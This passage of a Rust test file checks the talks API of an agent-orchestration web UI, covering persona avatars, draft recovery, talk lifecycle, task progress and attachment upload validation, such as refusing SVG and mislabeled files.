assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
}
}
#[tokio::test]
async fn an_unreadable_config_still_gets_the_builtin_avatar() {
let (_t, _h, ui, id, repo) = avatar_fixture("").await;
std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
assert_eq!(
(status, ct.as_str(), nosniff, csp),
(StatusCode::OK, "image/svg+xml", true, true)
);
}
#[tokio::test]
async fn the_talk_view_carries_server_built_avatar_urls_only() {
let (_t, _h, ui, id, _repo) =
avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
.await
.expect("detail");
let json = serde_json::to_string(&detail).unwrap();
assert!(
!json.contains("secret"),
"the icon setting must not leak: {json}"
);
assert!(
detail
.view
.persona_avatar
.starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
);
assert_eq!(
detail.view.operator_avatar,
format!(
"/avatars/operator.svg?v={}",
persona_icon::fingerprint(Some(persona_icon::operator_svg()))
)
);
assert!(!detail.personas.iter().any(|p| p.id == "operator"));
let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
assert!(rei.avatar.contains("persona=rei&v="));
assert_ne!(
rei.avatar.split("&v=").nth(1),
plain.avatar.split("&v=").nth(1)
);
}
#[tokio::test]
async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
let (_t, _h, ui, id, repo) = avatar_fixture("").await;
let cfg = config_for(&repo).await.unwrap();
for arrived in [false, true] {
let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
let observed = ui.queued_generation(&id);
let talk = ui.talks.get(&id).unwrap();
if arrived {
assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
}
let mut settling = std::pin::pin!(settle_settings_turn(
talk,
ui.talks.clone(),
cfg.clone(),
id.clone(),
turn,
observed
));
let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
let first = std::future::Future::poll(settling.as_mut(), &mut cx);
assert_eq!(first.is_pending(), arrived);
if arrived {
assert!(!settling.await);
}
assert!(!ui.is_thinking(&id));
}
}
#[tokio::test]
async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
let tmp = TempDir::new().expect("tempdir");
let repo = tmp.path().join("repo");
std::fs::create_dir_all(&repo).expect("repo dir");
std::fs::write(
repo.join("magi.toml"),
format!(
"{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
),
)
.expect("write magi.toml");
let home = TempDir::new().expect("temp home");
let talks = Talks::at(home.path().join("talks"));
let ui = Arc::new(
Ui::new(
Queue::at(home.path().join("queue")),
Questions::at(home.path().join("questions")),
talks.clone(),
home.path().join("runs"),
home.path().to_path_buf(),
repo.clone(),
)
.with_worktrees_root(home.path().join("wt")),
);
let cfg = config_for(&repo).await.expect("discover config");
let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
let id = talk.id.clone();
let call = |persona: &str| {
talk_persona(
State(Arc::clone(&ui)),
Path(id.clone()),
Json(TalkPersona {
persona: persona.to_owned(),
}),
)
};
let unknown = call("nobody").await.expect_err("unknown persona");
assert_eq!(
unknown.status,
StatusCode::BAD_REQUEST,
"{}",
unknown.message
);
{
let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
let busy = call("rei").await.expect_err("busy talk");
assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
assert!(
busy.message.contains("a talk turn is running"),
"{}",
busy.message
);
drop(guard);
}
assert_eq!(talks.get(&id).expect("reload").persona, "");
let Json(view) = call("gendo").await.expect("switch to a configured persona");
assert_eq!(view.talk.persona, "gendo");
assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
assert!(!ui.is_thinking(&id), "idle response must release the claim");
for chosen in ["default", "gendo", "rei", "gendo"] {
let Json(view) = call(chosen).await.expect("immediate consecutive change");
assert!(!view.thinking);
assert!(!ui.is_thinking(&id));
}
let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
.await
.expect("detail");
let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
assert_eq!(ids.first(), Some(&"default"));
assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
let Json(view) = call("default").await.expect("back to default");
assert_eq!(view.talk.persona, "");
let mut closed = talks.get(&id).expect("reload");
talk::close(&mut closed, &talks).expect("close");
let refused = call("rei").await.expect_err("closed talk");
assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
assert!(
refused.message.contains("takes no more turns"),
"{}",
refused.message
);
}
#[tokio::test]
async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
let f = Fixture::start().await;
let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
let queue = f.queue();
let mut mine = Task::new(
"rename the loader".to_owned(),
"rename the loader".to_owned(),
PathBuf::from("/repo/magi"),
Source::Agent {
run: talk_id.clone(),
node: "chat".to_owned(),
},
);
let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
assert_eq!(empty["task_progress"]["state"], "none");
assert_eq!(empty["task_progress"]["total"], 0);
queue.put(&mut mine).expect("file the task");
let mut theirs = Task::new(
"unrelated".to_owned(),
"unrelated".to_owned(),
PathBuf::from("/repo/magi"),
Source::Human,
);
theirs.origin_chat = Some(talk_id.clone());
queue.put(&mut theirs).expect("file the task");
let res = f.get(&format!("/api/talks/{talk_id}")).await;
assert_eq!(res.status, 200, "{}", res.body);
let body = res.json();
assert_eq!(
body["status"], "open",
"filing a task does not close a talk"
);
let tasks = body["tasks"].as_array().expect("tasks array");
assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
assert_eq!(tasks[0]["id"], mine.id);
for status in [
TaskStatus::Queued,
TaskStatus::Running,
TaskStatus::Held,
TaskStatus::Failed,
TaskStatus::Blocked,
TaskStatus::Parked,
TaskStatus::Done,
TaskStatus::Queued,
] {
mine.status = status;
queue.put(&mut mine).expect("update status");
let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
let progress = &detail["task_progress"];
assert_eq!(progress["total"], 1);
assert_eq!(progress["counts"][status.as_str()], 1);
assert_eq!(detail["tasks"][0]["status"], status.as_str());
assert_eq!(detail["status"], "open", "completion never closes the chat");
if status == TaskStatus::Done {
assert_eq!(progress["state"], "complete");
assert_eq!(progress["done"], 1);
assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
} else {
assert_eq!(progress["state"], "incomplete");
assert_eq!(progress["done"], 0);
assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
}
}
}
#[test]
fn talk_task_progress_counts_mixed_statuses() {
let mut tasks: Vec<_> = [
TaskStatus::Queued,
TaskStatus::Running,
TaskStatus::Held,
TaskStatus::Failed,
TaskStatus::Blocked,
TaskStatus::Parked,
TaskStatus::Done,
]
.into_iter()
.map(|status| {
let mut task = Task::new(
"task".into(),
"task".into(),
PathBuf::from("/repo"),
Source::Human,
);
task.status = status;
task
})
.collect();
let progress = talk_task_progress(&tasks);
assert_eq!(progress.state, "incomplete");
assert_eq!(progress.total, 7);
assert_eq!(progress.done, 1);
assert_eq!(progress.unfinished_ids.len(), 6);
assert!(progress.counts.values().all(|count| *count == 1));
assert_eq!(
progress.unfinished_ids,
tasks[..6]
.iter()
.map(|task| task.id.clone())
.collect::<Vec<_>>()
);
for task in &mut tasks {
task.status = TaskStatus::Done;
}
let complete = talk_task_progress(&tasks);
assert_eq!(complete.state, "complete");
assert_eq!(complete.done, 7);
assert!(complete.unfinished_ids.is_empty());
tasks[0].status = TaskStatus::Queued;
let requeued = talk_task_progress(&tasks);
assert_eq!(requeued.state, "incomplete");
assert_eq!(requeued.done, 6);
assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
let empty = talk_task_progress(&[]);
assert_eq!(empty.state, "none");
assert_eq!(empty.total, 0);
assert_eq!(empty.done, 0);
assert!(empty.unfinished_ids.is_empty());
assert!(empty.counts.values().all(|count| *count == 0));
}
#[tokio::test]
async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
let (_tmp, _repo, f) = talk_fixture().await;
let id = f.post("/api/talks", None).await.json()["id"]
.as_str()
.expect("id")
.to_owned();
let res = f
.post(
&format!("/api/talks/{id}/say"),
Some(r#"{"text":"what does the queue module do?"}"#),
)
.await;
assert_eq!(res.status, 202, "{}", res.body);
let queued = res.json();
let turns = queued["turns"].as_array().expect("turns array");
assert_eq!(
turns.len(),
1,
"the answer reflects only what is on disk the instant it is sent, \
before the agent's turn - which can run for the whole of \
`[graph] timeout_talk` - has a chance to land: {queued}"
);
assert_eq!(turns[0]["who"], "operator");
assert_eq!(turns[0]["body"], "what does the queue module do?");
assert_eq!(
queued["thinking"], true,
"the accepted response exposes the background turn claim: {queued}"
);
let mut turns_after = 1;
for _ in 0..SETTLE_STEPS {
let detail = f.get(&format!("/api/talks/{id}")).await.json();
turns_after = detail["turns"].as_array().expect("turns array").len();
if turns_after == 2 {
break;
}
tokio::time::sleep(Duration::from_millis(10)).await;
}
assert_eq!(turns_after, 2, "the agent's reply eventually lands");
}
#[tokio::test]
async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
let tmp = TempDir::new().expect("tempdir");
let repo = tmp.path().join("repo");
std::fs::create_dir_all(&repo).expect("repo dir");
std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
let home = TempDir::new().expect("temp home");
let talks = Talks::at(home.path().join("talks"));
let ui = Arc::new(
Ui::new(
Queue::at(home.path().join("queue")),
Questions::at(home.path().join("questions")),
talks.clone(),
home.path().join("runs"),
home.path().to_path_buf(),
repo.clone(),
)
.with_worktrees_root(home.path().join("wt")),
);
let cfg = config_for(&repo).await.expect("discover config");
for delay in 0..40u32 {
let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
let id = talk.id.clone();
let handler = tokio::spawn(talk_say(
State(Arc::clone(&ui)),
Path(id.clone()),
Ok(Json(NewTalkTurn {
reply_to: None,
text: "what does the queue module do?".to_owned(),
attachments: Vec::new(),
})),
));
tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
handler.abort();
let _ = handler.await;
let mut turns = 0;
for _ in 0..SETTLE_STEPS {
if let Ok(fresh) = talks.get(&id) {
turns = fresh.turns.len();
if turns != 1 {
break;
}
}
tokio::time::sleep(Duration::from_millis(10)).await;
}
assert_ne!(
turns, 1,
"delay {delay}: talk {id} recorded the operator's turn but \
the agent never answered - the reply task was never \
started after the handler future was dropped"
);
}
}
#[tokio::test]
async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
let tmp = TempDir::new().expect("tempdir");
let repo = tmp.path().join("repo");
std::fs::create_dir_all(&repo).expect("repo dir");
std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
let home = TempDir::new().expect("temp home");
let talks = Talks::at(home.path().join("talks"));
let ui = Arc::new(
Ui::new(
Queue::at(home.path().join("queue")),
Questions::at(home.path().join("questions")),
talks.clone(),
home.path().join("runs"),
home.path().to_path_buf(),
repo.clone(),
)
.with_worktrees_root(home.path().join("wt")),
);
let cfg = config_for(&repo).await.expect("discover config");
for attempt in 0..3u32 {
let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
let id = talk.id.clone();
let turn_guard = ui
.begin_talk_turn(&id)
.expect("claim the turn")
.expect("a fresh talk owes nobody a turn");
let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
let (release_tx, release_rx) = std::sync::mpsc::channel();
ui.set_busy_queue_gate(BusyQueueGate {
reached: reached_tx,
release: release_rx,
});
let handler = tokio::spawn(talk_say(
State(Arc::clone(&ui)),
Path(id.clone()),
Ok(Json(NewTalkTurn {
reply_to: None,
text: "what does the queue module do?".to_owned(),
attachments: Vec::new(),
})),
));
tokio::time::timeout(Duration::from_secs(5), reached_rx)
.await
.unwrap_or_else(|_| {
panic!(
"attempt {attempt}: talk {id} never reached the busy branch's queue write"
)
})
.expect("the busy branch dropped the gate without using it");
assert!(
crate::consult::try_publication_guard(&talks, &id)
.expect("publication fence")
.is_none(),
"a queued worker cannot promote text before its successor reservation is published"
);
let closing = Arc::clone(&ui.admissions).write_owned();
tokio::pin!(closing);
std::future::poll_fn(|cx| {
assert!(closing.as_mut().poll(cx).is_pending());
std::task::Poll::Ready(())
})
.await;
assert!(
ui.begin_admission().is_err(),
"replacement blocks later admissions"
);
let running = talks.get(&id).expect("reload talk");
drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
handler.abort();
let _ = handler.await;
std::future::poll_fn(|cx| {
assert!(
closing.as_mut().poll(cx).is_pending(),
"HTTP cancellation must not abandon a publishing transaction"
);
std::task::Poll::Ready(())
})
.await;
assert!(
crate::consult::try_publication_guard(&talks, &id)
.expect("publication fence after disconnect")
.is_none()
);
let _ = release_tx.send(());
drop(
tokio::time::timeout(Duration::from_secs(5), closing)
.await
.expect("short admission transaction should release for replacement"),
);
assert!(
crate::consult::try_publication_guard(&talks, &id)
.expect("publication fence after acknowledgement")
.is_some(),
"the publication fence is not retained by the long response"
);
let mut fresh = talks.get(&id).expect("reload talk");
for _ in 0..SETTLE_STEPS {
if fresh.pending.is_empty() && fresh.turns.len() == 2 {
break;
}
tokio::time::sleep(Duration::from_millis(10)).await;
fresh = talks.get(&id).expect("reload talk");
}
assert!(
fresh.pending.is_empty() && fresh.turns.len() == 2,
"attempt {attempt}: talk {id} left the operator's text queued \
with no drainer - the reclaimed turn was dropped along with \
the handler future (pending {:?}, {} turns)",
fresh.pending,
fresh.turns.len()
);
}
}
#[tokio::test]
async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
let (_tmp, _repo, f) = talk_fixture().await;
let id = f.post("/api/talks", None).await.json()["id"]
.as_str()
.expect("id")
.to_owned();
let store = f.talks();
let mut recovered = store.get(&id).expect("opened talk");
talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
.expect("persist pending draft without a live turn");
let edited = f
.post(
&format!("/api/talks/{id}/pending/edit"),
Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
)
.await;
assert_eq!(edited.status, 200, "{}", edited.body);
assert!(edited.json()["thinking"].as_bool().unwrap());
let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
for _ in 0..SETTLE_STEPS {
if detail["turns"].as_array().expect("turns").len() == 2 {
break;
}
tokio::time::sleep(Duration::from_millis(10)).await;
detail = f.get(&format!("/api/talks/{id}")).await.json();
}
let turns = detail["turns"].as_array().expect("turns");
assert_eq!(
turns.len(),
2,
"the recovered draft must run once: {detail}"
);
assert_eq!(turns[0]["body"], "corrected");
assert_eq!(detail["pending"], "");
}
#[tokio::test]
async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
let tmp = TempDir::new().expect("tempdir");
let repo = tmp.path().join("repo");
std::fs::create_dir_all(&repo).expect("repo dir");
std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
let f = Fixture::with_repo(repo).await;
let id = f.post("/api/talks", None).await.json()["id"]
.as_str()
.expect("id")
.to_owned();
let store = f.talks();
let mut recovered = store.get(&id).expect("opened talk");
talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
.expect("persist pending draft without a live turn");
let refused = f
.post(
&format!("/api/talks/{id}/say"),
Some(r#"{"text":"new message"}"#),
)
.await;
assert_eq!(refused.status, 409, "{}", refused.body);
assert!(refused.body.contains("resume"), "{}", refused.body);
let saved = store.get(&id).expect("draft remains after refusal");
assert!(saved.turns.is_empty());
assert_eq!(saved.pending, "saved before restart");
let say_path = format!("/api/talks/{id}/say");
let (first, second) = tokio::join!(
f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
);
assert_eq!(first.status, 409, "{}", first.body);
assert_eq!(second.status, 409, "{}", second.body);
let saved = store
.get(&id)
.expect("draft remains after concurrent refusals");
assert!(saved.turns.is_empty());
assert_eq!(saved.pending, "saved before restart");
let resumed = f
.post(&format!("/api/talks/{id}/pending/resume"), None)
.await;
assert_eq!(resumed.status, 202, "{}", resumed.body);
let duplicate = f
.post(&format!("/api/talks/{id}/pending/resume"), None)
.await;
assert_eq!(duplicate.status, 409, "{}", duplicate.body);
for _ in 0..SETTLE_STEPS {
if store.get(&id).expect("talk").turns.len() == 2 {
break;
}
tokio::time::sleep(Duration::from_millis(10)).await;
}
let finished = store.get(&id).expect("finished talk");
assert_eq!(finished.turns.len(), 2, "{finished:?}");
assert_eq!(finished.turns[0].body, "saved before restart");
assert!(finished.pending.is_empty());
}
#[tokio::test]
async fn an_image_only_recovered_draft_resumes_without_text() {
let (_tmp, _repo, f) = talk_fixture().await;
let id = f.post("/api/talks", None).await.json()["id"]
.as_str()
.expect("id")
.to_owned();
let uploaded = f
.post_bytes(
&format!("/api/talks/{id}/attachments"),
&[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
PNG_BYTES,
)
.await;
assert_eq!(uploaded.status, 201, "{}", uploaded.body);
let attachment = f
.talks()
.attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
.expect("attachment metadata")
.expect("stored attachment");
let store = f.talks();
let mut recovered = store.get(&id).expect("opened talk");
talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
let resumed = f
.post(&format!("/api/talks/{id}/pending/resume"), None)
.await;
assert_eq!(resumed.status, 202, "{}", resumed.body);
for _ in 0..SETTLE_STEPS {
if store.get(&id).expect("talk").turns.len() == 2 {
break;
}
tokio::time::sleep(Duration::from_millis(10)).await;
}
let finished = store.get(&id).expect("finished talk");
assert_eq!(finished.turns.len(), 2, "{finished:?}");
assert!(finished.turns[0].body.is_empty());
assert_eq!(finished.turns[0].attachments.len(), 1);
assert!(finished.pending_attachments.is_empty());
}
#[tokio::test]
async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
let (_tmp, _repo, f) = talk_fixture().await;
let id = f.post("/api/talks", None).await.json()["id"]
.as_str()
.expect("id")
.to_owned();
let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
assert_eq!(closed.status, 200, "{}", closed.body);
let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
.expect("serialize closed talk");
for (path, body) in [
(format!("/api/talks/{id}/pending/resume"), None),
(
format!("/api/talks/{id}/pending/clear"),
Some(r#"{"expected_text":"","expected_attachments":[]}"#),
),
(
format!("/api/talks/{id}/pending/edit"),
Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
),
(format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
] {
let response = f.post(&path, body).await;
assert_eq!(response.status, 409, "{}", response.body);
}
let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
.expect("serialize closed talk");
assert_eq!(
after_clear, before_clear,
"clear must not rewrite a closed talk"
);
}
const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
#[tokio::test]
async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
let tmp = TempDir::new().expect("tempdir");
let repo = tmp.path().join("repo");
std::fs::create_dir_all(&repo).expect("repo dir");
std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
let f = Fixture::with_repo(repo).await;
let id_a = f.post("/api/talks", None).await.json()["id"]
.as_str()
.unwrap()
.to_owned();
let id_b = f.post("/api/talks", None).await.json()["id"]
.as_str()
.unwrap()
.to_owned();
let a = f
.post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
.await;
assert_eq!(a.status, 202, "{}", a.body);
assert_eq!(a.json()["thinking"], true);
let b = f
.post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
.await;
assert_eq!(b.status, 202, "{}", b.body);
assert_eq!(b.json()["thinking"], true);
let listed = f.get("/api/talks").await.json();
for id in [&id_a, &id_b] {
let view = listed
.as_array()
.unwrap()
.iter()
.find(|talk| talk["id"] == *id)
.unwrap();
assert_eq!(view["thinking"], true, "{listed}");
}
let repeated = f
.post(
&format!("/api/talks/{id_a}/say"),
Some(r#"{"text":"again"}"#),
)
.await;
assert_eq!(repeated.status, 202, "{}", repeated.body);
assert_eq!(repeated.json()["pending"], "again");
}
const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
#[tokio::test]
async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
let f = Fixture::start().await;
let id = seed_talk(&f, "20260905-000000-a1b2", "open");
let res = f
.post_bytes(
&format!("/api/talks/{id}/attachments"),
&[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
PNG_BYTES,
)
.await;
assert_eq!(res.status, 201, "{}", res.body);
let body = res.json();
assert_eq!(body["name"], "shot.png");
assert_eq!(body["mime"], "image/png");
assert_eq!(body["bytes"], PNG_BYTES.len());
let att_id = body["id"].as_str().expect("id").to_owned();
assert_eq!(
att_id.len(),
32,
"the id must never be a client-suppliable path: {att_id}"
);
let got = f
.get(&format!("/api/talks/{id}/attachments/{att_id}"))
.await;
assert_eq!(got.status, 200, "{}", got.body);
assert_eq!(got.header("content-type"), Some("image/png"));
assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
assert_eq!(got.bytes, PNG_BYTES);
}
#[tokio::test]
async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
let f = Fixture::start().await;
let id = seed_talk(&f, "20260905-000000-c3d4", "open");
let svg = f
.post_bytes(
&format!("/api/talks/{id}/attachments"),
&[("Content-Type", "image/svg+xml")],
b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
)
.await;
assert!(
(400..500).contains(&svg.status),
"svg must be refused: {} {}",
svg.status,
svg.body
);
assert!(svg.body.contains("SVG"), "{}", svg.body);
let text = f
.post_bytes(
&format!("/api/talks/{id}/attachments"),
&[("Content-Type", "text/plain")],
b"just some text",
)
.await;
assert!(
(400..500).contains(&text.status),
"an unlisted type must be refused: {} {}",
text.status,
text.body
);
let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
let big = f
.post_bytes(
&format!("/api/talks/{id}/attachments"),
&[("Content-Type", "image/png")],
&oversized,
)
.await;
assert_eq!(
big.status,
StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
"{}",
big.body
);
}
#[tokio::test]
async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
let f = Fixture::start().await;
let id = seed_talk(&f, "20260905-000000-d4e5", "open");
let res = f
.post_bytes(
&format!("/api/talks/{id}/attachments"),
&[("Content-Type", "image/png")],
b"<html>not a picture</html>",
)
.await;
assert!((400..500).contains(&res.status), "{}", res.body);
}
#[tokio::test]
async fn an_unknown_attachment_id_is_a_404() {
let f = Fixture::start().await;
let id = seed_talk(&f, "20260905-000000-e5f6", "open");
let res = f
.get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
.await;
assert_eq!(res.status, 404, "{}", res.body);
}
#[tokio::test]
async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
let f = Fixture::start().await;
let id = seed_talk(&f, "20260905-000000-f6a7", "open");
let uploaded = f
.post_bytes(
&format!("/api/talks/{id}/attachments"),
&[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
PNG_BYTES,
)
.await;
assert_eq!(uploaded.status, 201, "{}", uploaded.body);
let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
let res = f
.post(
&format!("/api/talks/{id}/say"),
Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
)
.await;
assert_eq!(res.status, 202, "{}", res.body);
let queued = res.json();
let turns = queued["turns"].as_array().expect("turns array");
assert_eq!(
turns.len(),
1,
"an empty body with an attachment is still a turn: {queued}"
);
assert_eq!(turns[0]["who"], "operator");
assert_eq!(turns[0]["body"], "");
let atts = turns[0]["attachments"]
.as_array()
.expect("attachments array");
assert_eq!(atts.len(), 1);
assert_eq!(atts[0]["id"], att_id);
assert_eq!(atts[0]["mime"], "image/png");
let on_disk = f.talks().get(&id).expect("get");
assert_eq!(on_disk.turns[0].attachments.len(), 1);
assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
}
#[tokio::test]
async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
let f = Fixture::start().await;
let id = seed_talk(&f, "20260905-000000-a7b8", "open");
let res = f
.post(
&format!("/api/talks/{id}/say"),
Some(&format!(
r#"{{"text":"hi","attachments":["{}"]}}"#,
"a".repeat(32)
)),
)
.await;
assert!((400..500).contains(&res.status), "{}", res.body);
assert!(res.body.contains("unknown attachment"), "{}", res.body);
let on_disk = f.talks().get(&id).expect("get");
assert!(
on_disk.turns.is_empty(),
"a rejected attachment id must not partially record the turn: {:?}",
on_disk.turns
);
}
#[tokio::test]
async fn talk_close_makes_the_talk_refuse_further_turns() {
let f = Fixture::start().await;
let id = seed_talk(&f, "20260904-014455-cd34", "open");
let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
assert_eq!(closed.status, 200, "{}", closed.body);
assert_eq!(closed.json()["status"], "closed");
let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
assert_eq!(closed_again.status, 200);
assert_eq!(closed_again.json()["status"], "closed");
let said = f
.post(
&format!("/api/talks/{id}/say"),
Some(r#"{"text":"too late"}"#),
)
.await;
assert_eq!(said.status, 409, "{}", said.body);
}
#[tokio::test]
async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
let (_tmp, _repo, f) = talk_fixture().await;
let id = f.post("/api/talks", None).await.json()["id"]
.as_str()
.expect("id")
.to_owned();
let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
assert_eq!(closed.status, 200, "{}", closed.body);
let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
assert_eq!(reopened.status, 200, "{}", reopened.body);
assert_eq!(reopened.json()["status"], "open");
let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
assert_eq!(reopened_again.status, 200);
assert_eq!(reopened_again.json()["status"], "open");
let said = f
.post(
&format!("/api/talks/{id}/say"),
Some(r#"{"text":"still there?"}"#),
)
.await;
assert_eq!(
said.status, 202,
"a reopened talk accepts turns again: {}",
said.body
);
}
#[tokio::test]
async fn talk_reopen_on_an_unknown_id_is_404() {
let f = Fixture::start().await;
let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
assert_eq!(res.status, 404, "{}", res.body);
}
#[tokio::test]
async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
let f = Fixture::start().await;
let id = seed_talk(&f, "20260904-014455-ef56", "closed");
let deleted = f.delete(&format!("/api/talks/{id}")).await;
assert_eq!(deleted.status, 204, "{}", deleted.body);
let after = f.get(&format!("/api/talks/{id}")).await;
assert_eq!(after.status, 404, "{}", after.body);
let listed = f.get("/api/talks").await.json();
assert!(
listed.as_array().unwrap().iter().all(|t| t["id"] != id),
"a deleted talk must not linger in the list: {listed}"
);
}
#[tokio::test]
async fn talk_delete_on_an_unknown_id_is_404() {
let f = Fixture::start().await;
let res = f.delete("/api/talks/nonexistent-id").await;
assert_eq!(res.status, 404, "{}", res.body);
}
#[tokio::test]
async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
let f = Fixture::start().await;
let (a, b, gone) = (
"20260902-140501-aaaa",
"20260902-140502-bbbb",
"20260902-140503-cccc",
);
write_run(&f.runs(), a, RunStatus::Stalled);
let mut review = RunState::new(
PathBuf::from("/repo/magi"),
"main".to_owned(),
"0123456789abcdef".to_owned(),
"Review the work already on branch `magi/aaaa/A`. There is no task statement."
.to_owned(),
Config::default(),
);
review.id = b.to_owned();
review.status = RunStatus::Merged;
write_state(&f.runs(), &review);
let mut task = Task::new(
"retry".to_owned(),
"Do the thing".to_owned(),
PathBuf::from("/repo/magi"),
Source::Human,
);
task.start(a.to_owned());
task.stall("quota");
task.start(a.to_owned());
task.start(b.to_owned());
task.start(gone.to_owned());
task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
f.queue().put(&mut task).expect("file the task");
let res = f.get(&format!("/api/queue/{}", task.id)).await;
assert_eq!(res.status, 200, "{}", res.body);
let v = res.json();
let h = v["history"].as_array().expect("history");
assert_eq!(h.len(), 4, "{v}");
assert_eq!(h[0]["kind"], "competition");
assert_eq!(h[0]["status"], "stalled");
assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
assert_eq!(h[1]["kind"], "resume", "{v}");
assert!(
h[0]["outcome"]
.as_str()
.unwrap()
.contains("unknown. Pass #2"),
"an earlier pass of a resumed run must not claim the final outcome: {v}"
);
assert!(
!h[1]["outcome"].as_str().unwrap().contains("unknown."),
"{v}"
);
assert!(
!h[0]["outcome"].as_str().unwrap().contains("parked it"),
"an unrecorded cause must not be narrated as an operator park: {v}"
);
assert_eq!(h[2]["kind"], "review");
assert!(
h[2]["description"]
.as_str()
.unwrap()
.contains("magi/aaaa/A")
);
assert_eq!(h[2]["status"], "merged");
assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
assert_eq!(v["runs_unreadable"], 1);
let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
assert_eq!(nodes[4]["note"], "unreadable");
assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
assert_eq!(v["instruction"], "Do the thing");
assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
